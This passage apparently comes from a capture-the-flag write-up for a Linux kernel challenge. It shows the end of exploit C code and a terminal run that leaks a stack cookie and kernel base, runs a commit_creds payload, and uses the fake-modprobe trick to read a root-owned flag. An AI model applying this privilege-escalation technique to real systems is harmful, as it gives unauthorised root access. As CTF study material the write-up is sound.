    system("chmod +x /tmp/dummy");

    puts("[*] Run unknown file");
    system("/tmp/dummy");

    puts("[*] Hopefully flag is readable");
    system("cat /tmp/flag");

    exit(0);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ./exploit 
[*] Saved state
[*] Opened device
[*] Leaked 320 bytes
    --> Cookie: 3c8fec292491ab00
    --> Image base: ffffffff8c800000
[*] Prepared leak_commit_creds payload
[*] Returned to userland, setting up for fake modprobe
[*] Run unknown file
/tmp/dummy: line 1: ����: not found
[*] Hopefully flag is readable
hxp{t0p_d3feNSeS_Vs_1337_h@ck3rs}